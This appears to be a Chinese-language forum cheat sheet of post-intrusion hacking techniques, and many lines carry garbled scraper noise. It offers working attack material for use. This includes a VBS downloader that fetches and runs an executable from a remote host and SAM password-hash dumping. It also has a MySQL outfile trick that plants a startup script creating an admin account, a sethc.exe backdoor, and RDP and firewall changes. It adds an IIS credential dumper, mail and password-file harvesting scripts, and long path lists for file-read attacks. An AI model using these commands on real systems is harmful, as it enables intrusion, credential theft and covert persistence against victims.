5 u$ r1 p3 H+ kalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
7 c" e) N& N; z, B3 f注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
  p6 }  t1 D& |. j$ o" u" Z那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
* [2 _4 m  w! H; U}  

提权先执行systeminfo
( z. x5 H( g$ _4 r& etoken 漏洞补丁号 KB956572
& W) r2 y: r+ u/ N. A! aChurrasco          kb952004
/ _: q" v/ F' ]' J$ b* Q9 ~8 ~命令行RAR打包~~·
# @# B- n; A9 E8 ], }: ?rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
. ^8 F! L5 }% C1 z/ J4 o& M0 o2、收集系统信息的脚本  
% t4 Q. B1 ], K4 f: Z8 S! vfor window：

@echo off
% O9 C4 a" l0 Q! cecho #########system info collection
  B+ [9 N/ O% K: {. P  \systeminfo
ver
5 p; p( y/ i# k5 Bhostname
net user
+ m/ a# X% S* i& c/ v# Y" e% Inet localgroup
net localgroup administrators
net user guest
' G* f. @: q' d) ^; r, U/ Rnet user administrator

4 x$ o9 d7 ^7 U5 B' r! }echo #######at- with   atq#####
echo schtask /query

5 u/ {7 z. ^/ H8 yecho
echo ####task-list#############
tasklist /svc
( z' A0 H7 @; t* }5 M( B7 k# techo
) T3 p) h( d8 E# |+ F( V( V2 Iecho ####net-work infomation
% D6 F) Z( T6 Jipconfig/all
2 P: Q1 n( o* r. k* [' Froute print
( Q4 j$ U5 s9 N9 N* U  M$ farp -a
netstat -anipconfig /displaydns
3 R, g3 I  D4 _3 t: Q5 w  y8 W! X: Mecho
3 _% I$ S4 v3 C! R, L- gecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
8 @; p# T/ H: e, Wtree -F
& Z6 C8 S# v3 H1 K6 Efor linux：
# m' ^3 `( E0 a
$ o  R2 e' C* x1 V#!/bin/bash

echo #######geting sysinfo####
$ g) Z9 C0 E* n9 c7 O0 J3 |echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
( D" }+ _9 R; u2 u4 b* Ecat /proc/meminfo
echo
6 y* V1 D1 Y; _! e* `$ gcat /proc/cpuinfo
/ o; l! @( ?) O1 I, Decho
rpm -qa 2>/dev/null
2 `; i8 h( }/ M######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
" I5 q! b5 @" N
  g! z: I  [3 {  g1 g- l
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
$ [' S* j, F0 H. q/ L$ ecrontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
2 A& N  W9 w4 T6 c% a' p1 i' V4 Fcat /etc/hosts
8 ~# y/ e; m- N# Ahostname
ipconfig -a
8 P1 h( R' U) Darp -v
echo ########user####
cat /etc/passwd|grep -i sh
  l  ~& O9 ^: f
echo ######service####
chkconfig --list
" Y0 ^8 k' M  H
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
3 b$ t) A& I- [  |( l. E  o; @done

4 V% J5 x% p9 V& M7 B8 m4 o; j' I3 \" _locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
/ B# R. j5 y6 Q: T6 S7 Tsleep 5
, x2 j; t& W6 ~- nlocate conf >/tmp/sysconfig 2>dev/null
/ Q$ g, D8 A( L" zsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
5 N5 h  }4 O4 u& T* `sleep 5

###maybe can use "tree /"###
! x1 W% G5 h6 k% ~, Pecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
: a! \+ Z# Y5 I, p0 K' T- j" z2 h——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
6 d0 t0 k1 b3 g% x0 _" t+ k) |$ X! z1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
' p: K. ~# a2 ^! {8 vecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
* r/ F  \+ r6 @& w/ decho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
' i" a/ C, m( H/ k. `( jcftmon.vbs
/ A; I1 W& Q4 [' U
; R; E" U9 W) n0 O. D; g2 ]2
On Error Resume Nextim iRemote,iLocal,s1,s2
% A2 N+ U/ a. P  m- e$ k& A( _iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
3 k; W& N+ k4 @* @! ZsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
  g* R% f8 b6 Y
2 y1 Z% v- s# F4 p6 y! }# p5 ^  |cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
  \0 y# Q) _# F  q( [1 ?7 O
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
6 @8 h- b2 e% [9 x" \——————————————————
5、
& j4 U1 U( m; j6 k2 P$ N1.查询终端端口
6 z$ c& ?- z, i& ?  u+ Z7 MREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
# }% [9 x: k1 F# s4 y% W' W2.开启XP&2003终端服务
: o! o7 E, ], o( x$ YREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
7 i; U: I, q4 ^3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
* m) ?1 z8 U2 i& x4 e4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
$ w' t' ~) G0 v& X9 W2 a& VREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
6 o  P' F  s9 T) b- b————————————————
6、create table a (cmd text);
  {  D; N; \3 x, Minsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
4 G3 {- g' U9 g! s3 q0 Pinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
( D1 b( b" I4 Z' p2 T2 c* Rselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

6 ]& d( _3 ]$ j+ d( Z列出d的所有目录
  
8 y# |$ d3 J. w  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
5 W% w% x# b5 a: n
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
  ?) e% z; P, `! m& s: C/ Z( |
# r& p% g3 H; {* }6 A  X3.for /f %i in (c:\1.txt) do echo %i
) J$ b  H4 u: }5 l  
. p+ `4 e6 }: K6 p' E  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
5 \" O2 L9 `4 n. R. `' a8 i. W. L
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

- B2 F9 v+ C* ^, Z& |  delims=后的空格是分隔符 tokens是取第几个位置
6 m3 ?% f& w+ t6 p5 s& L  C——————————
8 D5 m3 w: l% f7 S% u2 y" }●注册表:
1.Administrator注册表备份:
' ^, m2 G! b* [2 ^  y, j, s& T) J/ e5 U6 ?reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
. [! z/ b( i+ v1 t( w) j
$ ]9 K- E; ^  Z2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
6 L0 [! u- k- F+ `& L  M% Q  ?修改PortNumber.
+ e5 _/ Y3 E  H9 X! G
3.清除3389登录记录:
" f9 e( e. N# E& E" v  F( \reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

/ [9 N2 P' V( w  @; j4.Radmin密码:
2 R/ [% W( P! Z- D. Qreg export HKLM\SYSTEM\RAdmin c:\a.reg
& T% z! x. P% n
5.禁用TCP/IP端口筛选(需重启):
' c: N1 h0 g" Z4 {% {% sREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
$ C& [$ W& T2 Q1 s或者
. [' c* T; y" X+ x1 L2 Inetsh ipsec dynamic set config ipsecexempt value=0
& n$ U  ~% c, N
5 z0 h2 A' O% A7.停止指派策略"myipsec":
; n2 W$ V9 t; o6 u, H  \netsh ipsec static set policy name="myipsec" assign=n
$ p% N+ Q/ E0 }1 |: D' J) r
) d! t# f: }" p( H$ Z: w" S( z0 N8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
4 r/ l! J  s& {9 w* T7 V; H1 \0 I
) Z/ U& |2 f; l. V) e$ Z9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
/ p4 \: I$ \- _+ v2 p0 |reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
( B. e: x6 n5 A9 @/ M- X% Z
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
4 h; L( W5 e+ V6 K: o
* T  `& _" t2 ]reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
" r; O' N' ?  D2 l' a星外vbs(注：测试通过，好东西）
; k, n" [. L- BSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
" T  ^, A, B" X0 k9 x, FchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
, S1 H* l/ N) Q/ Zif err.number<>0 then
exit for
) c  b& Z2 h& C0 {  k( ?: V# C5 T# Amsgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
# n, W! I# W" ?# a7 \4 wServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
# T- S# g! t/ S, ~Next
+ M# F* D. `% {! W4 Bwscript.echo list
' p- L+ ^$ d  P* y$ I5 CSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
0 ^, c. }' |* ?0 E8 X1 Q) L' @WScript.Quit
! q2 m" l. X, s复制代码
8 Z* N, l1 ~. D9 v4 ^' Q----------------------2011新气象，欢迎各位补充、指正、优化。----------------
( W8 R/ j, R9 N1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
+ Z8 I: n! D8 a3 \1 @8 l5 d0 q& A2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
$ M9 h, ^, y$ r" r- Y将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
' L2 o: Y5 w, l1 w# G+ }1 O1 x复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
5 a, }7 Z# k4 n. V9 R9 yasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
9 S- i5 M& ?& f/ P 解决方法
4 Y3 p2 o( [" k. U- e: X# w/ I! `& w url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
$ Q  j. m. f9 L0 j0 q& [% D
==============================================================
+ M/ [- l4 r/ |, qLINUX常见路径：
6 d" s. Q9 l! W- U. ~
) a  J; q. L- y/ x) M& N0 [9 B/etc/passwd
& g. L6 S1 Q& l0 T/etc/shadow
/etc/fstab
+ T. D* g, V0 ~/ v1 l' m0 {4 R: w/etc/host.conf
. M1 X7 i0 X# P5 v/ R- U6 X% g/etc/motd
/etc/ld.so.conf
0 t  @2 c; K. _* w/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
- g( T- n: b, ]" {# ^/var/httpd/conf/php.ini
, K& w& z- e. N0 \/var/httpd/htdocs/index.php
; N! ?. b+ P$ j+ w$ G9 I$ ~, F/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
  M$ G( D% {4 u! q+ M/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
+ Q- p& ]: r9 M( m4 w7 v! B; [/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
6 C6 m/ ^9 c+ s/usr/local/httpd2.2/htdocs/index.php
# [" p/ q2 E3 P; G/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
6 f- G* T, p# c% q0 b4 v/etc/httpd/htdocs/index.php
7 M: J8 W# m5 e& d% A5 H: M3 S; d1 z; z/etc/httpd/conf/httpd.conf
  A. X: |9 U  N* l3 v: M8 a5 _- F  F/etc/httpd/htdocs/index.html
$ Q. J1 n1 y- ^* S! i+ x8 I9 Z/www/php/php.ini
, ^$ p) l' L; d" ~/ {/www/php4/php.ini
' t* h, r( z, Y! S& ?& M* g! o8 ^/www/php5/php.ini
9 e3 Q# W" q: K( J( D5 h) q/www/conf/httpd.conf
) _1 n% @- v( W4 G! G7 ^$ ^/www/htdocs/index.php
/www/htdocs/index.html
3 T  q5 o) ^; L0 P" S8 i/usr/local/httpd/conf/httpd.conf
( }* _( p, N5 R. w. ]$ y/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
! Y  F1 s: {8 G+ v5 ~5 |/ X) R/etc/apache2/apache.conf
2 A  y- v+ L* L# b! |/etc/apache/httpd.conf
" d* c" U- R$ C1 ?/etc/apache2/httpd.conf
: o  K, H0 H3 b4 L( R( V* B( P$ K/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
5 ]; C& A% M+ \5 J; }/ C% o/etc/mysql/my.cnf
  p3 A5 t% ]* U8 j& G/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
2 P! I# M9 S( ^$ Y9 W/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
+ |9 H2 x" V; F- A! T$ ^/home/apache2/conf/httpd.conf
7 }1 C2 K+ K) k; c/var/log/apache/error_log
7 ~- i8 G8 x$ L/ f/var/log/apache/error.log
/var/log/apache/access_log
$ l' r7 `6 I! _8 W8 }/var/log/apache/access.log
/var/log/apache2/error_log
( |" u3 `6 t  y7 \/var/log/apache2/error.log
% ^2 |' I6 m$ P# }# }7 u/var/log/apache2/access_log
, f/ e5 u$ i. C0 m/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/ ?5 U* _5 c& c* [) P9 s1 o/usr/local/apache/logs/error.log
, V! h/ A3 R/ [# b- G  ~3 D, ?/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
" x- I4 O/ {, A' P) X* s/var/log/error_log
/var/log/error.log
1 A! ]0 X1 Y5 N0 \8 Z6 L' i/var/log/access_log
" Q' l$ A$ ^" z* `/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
5 p/ i+ S! Z& m( ?/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
: F1 g' ^# O: {8 `: x4 n/bin/php.ini
7 E9 V  h* S9 a' ?/etc/init.d/httpd
/etc/init.d/mysql
5 P0 F$ D3 T. o2 i; t* d8 F/etc/httpd/php.ini
/usr/lib/php.ini
5 X2 ]1 ^3 e% Q! M5 `5 X6 z3 C. t/usr/lib/php/php.ini
) L* d2 }9 n. E& |/ p/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
; B2 K5 \/ G9 {( C8 b/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
+ R* s" u# C2 c0 e% b1 h3 A, g8 j/usr/local/apache/conf/httpd.conf
! c9 \) C/ J7 j' w3 w/usr/local/apache2/conf/httpd.conf
) {. F/ Q5 M! _/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
6 {( q) B: E. N8 Y" D+ L/etc/php4/apache/php.ini
. {8 G2 }3 y0 V6 _- b+ Y3 B/etc/php4/apache2/php.ini
- G! ~3 p1 ^- C! y9 h: ~6 B8 P& a/etc/php5/apache/php.ini
* ^! v5 a0 x7 F/etc/php5/apache2/php.ini
/etc/php/php.ini
% ?- _% L' U& a* e' q# \* t/etc/php/php4/php.ini
! P! e( c* k, w' ?. }, I  D/etc/php/apache/php.ini
/etc/php/apache2/php.ini
6 Z! B  Y& `; s9 v/web/conf/php.ini
/usr/local/Zend/etc/php.ini
! z! }0 a- l9 S- \/ L! y; O/opt/xampp/etc/php.ini
# Q: J6 o* d" `+ {5 ?/ n- U/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
3 l1 A) w$ m, k& M/php5/php.ini
. \' L2 h* ~) h& P- g/ U/php4/php.ini
; F; A  X& `. g, V0 l; `! N/php/php.ini
( v  ^0 i  a0 j8 d! H" z/ \  ]/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
+ ]4 y4 Z# [! Z9 L* `+ l5 c+ m$ f6 V$ J0 Q/xampp/apache/conf/httpd.conf
  Q2 K5 y9 q$ |+ C1 o$ x/NetServer/bin/stable/apache/php.ini
. V3 H% I6 W- ?& C) ]/home2/bin/stable/apache/php.ini
  C: f# Q- F8 e8 _; ~5 y( T' k/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
' _2 B+ a- O  l* ^( S* J/var/log/mysqlderror.log
1 d6 ^* b1 Z$ Z( \4 o* r/var/log/mysql/mysql.log
  v& U, G  Z: ?6 l3 U/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
, T7 z- Z( G: ^2 x/usr/local/mysql/my.cnf
8 H5 B7 e. g# @* R! i0 k1 \& g/usr/local/mysql/bin/mysql
9 z0 w9 P" M) U/etc/mysql/my.cnf
/etc/my.cnf
. P  a1 t6 v9 T9 O/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
6 v$ W4 x5 Z" _% t& v- W! J- M/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
9 E( B9 [. n8 T* i! I5 W" e" J6 w7 e/usr/local/share/examples/php/php.ini
: C- _' W4 \, W$ H
# n2 V6 x; l$ V( u* |2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
2 k9 k8 N# x. H& S. q4 C9 }1 b
- _+ x) x/ d/ r) Z9 u- ]6 Ac:\windows\php.ini
c:\boot.ini
c:\1.txt
. |: D  C- U* @( |% q7 c0 x# @7 Kc:\a.txt
7 ?3 u- h+ W3 H. ^( m/ `( k
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
  ~3 f$ f: \; bC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
3 d  f. C% s+ |1 P9 uC:\WINDOWS\7i24tool.exe

2 w  H, U2 ^5 N9 i$ fc:\hzhost\databases\url.asp
6 i' O  u% A( ~' S3 x+ R) [
; @( w4 c4 `) U' f: Y9 l; Qc:\hzhost\hzclient.exe
* h# c: E$ L: ?( f/ w. GC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
1 f/ A; Y" j" ^+ e7 _
6 h5 p: [& v0 Y* `, B. mC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
! E# C3 O0 ?) T) _5 r2 e5 J, i$ Sc:\website\index.html
c:\web\index.asp
- C. Q) Z+ B( @; H& v/ v3 r3 Jc:\www\index.asp
. b5 R) I% N6 S/ dc:\wwwsite\index.asp
' p1 m8 i$ l8 ~+ N0 Cc:\WWWROOT\index.asp
; ^5 S; b2 g2 j* qc:\web\index.php
$ o+ \. j6 t2 |* \! |( U& m2 z3 Pc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
0 O" y. |# s# D. Gc:\WWWROOT\default.html
$ }7 H2 Q' |" j, |; T: s" d- N9 _% Gc:\website\default.html
4 B! z0 d# f$ Hc:\web\default.asp
1 O, e2 [3 M! Gc:\www\default.asp
6 m0 K$ d3 a2 e  i2 d; s6 ]3 L, S# y6 @c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
# `8 y/ B8 N6 \6 W( u0 o5 vc:\www\default.php
c:\WWWROOT\default.php
( o. @9 `. C* o- z1 ^0 Kc:\WWWsite\default.php
2 S8 K, V2 y6 L8 {C:\Inetpub\wwwroot\pagerror.gif
9 s4 l4 y# T9 Q% c! I* N5 qc:\windows\notepad.exe
7 @* M$ t# {/ j; Vc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
0 ?- M/ ?# P- W( Q9 ?C:\Program Files\Microsoft Office\OFFICE11\winword.exe
: r) W) l" n* \7 XC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
9 |5 g5 r  |; q, q% d0 \; PC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
# `! {9 Y, B0 \c:\rising.ini
* b. N7 {+ K5 f7 ]8 {C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
7 ], l/ ?6 ?; E( o9 b5 f9 d* e+ QC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
: K) N' i" U6 A% s+ U2 gC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
6 m5 l! h9 r1 z$ f& `7 I6 O2 qC:\Documents and Settings\Administrator\My Documents\1.txt
: h$ V: t7 H( L8 K6 W3 ~3 iC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
3 u. u$ ?8 A$ X' nC:\Documents and Settings\Administrator\桌面\a.txt
" N2 e3 v1 E0 d3 [3 l! m9 EC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
' W' O0 v4 C4 c; [& J! LC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
* C( F3 C; m! w, F) d! BC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
  ~; r/ |0 O, K) |! G$ oC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
$ U( H9 z. G# }$ e! iC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
  O: ^7 q2 j/ K7 J( VC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
: |  [( j4 N! U" J. M* HC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
% S$ n9 P; T- I# Z: f& yC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
, {  t, n. U8 n6 i, J0 l5 P8 ^c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
2 x4 w9 s( K# c) ^$ J: SC:\Program Files\Oracle\oraconfig\Lpk.dll
; M- m5 n$ J1 @$ D( s+ kC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
+ J, W7 B1 L* h0 x) f; ~C:\WINDOWS\system32\inetsrv\inetinfo.exe
% \. Y% v7 M. z( n$ ?, iC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
, |3 M; [& |! \" @8 `+ j: DC:\WINDOWS\system32\config\default.LOG
+ |/ y0 Z9 d( t4 hC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
# j+ m  g' N' a% ~3 t6 E$ [; H: zc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
$ V7 {  u( G+ q/ {7 |' G  }C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
; n4 C0 G* r$ Ic:\Apache2\Apache2\bin\Apache.exe
! e7 }# d5 ~. C0 Xc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
; ?7 h, U  c1 \. T* r2 G  ^0 \/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
% b9 y7 h( x. S) c5 o. f) H8 sc:\Program Files\Tencent\qq2008\qq.exe
( l, H5 t& n* Zc:\Program Files\Tencent\qq2010\bin\qq.exe
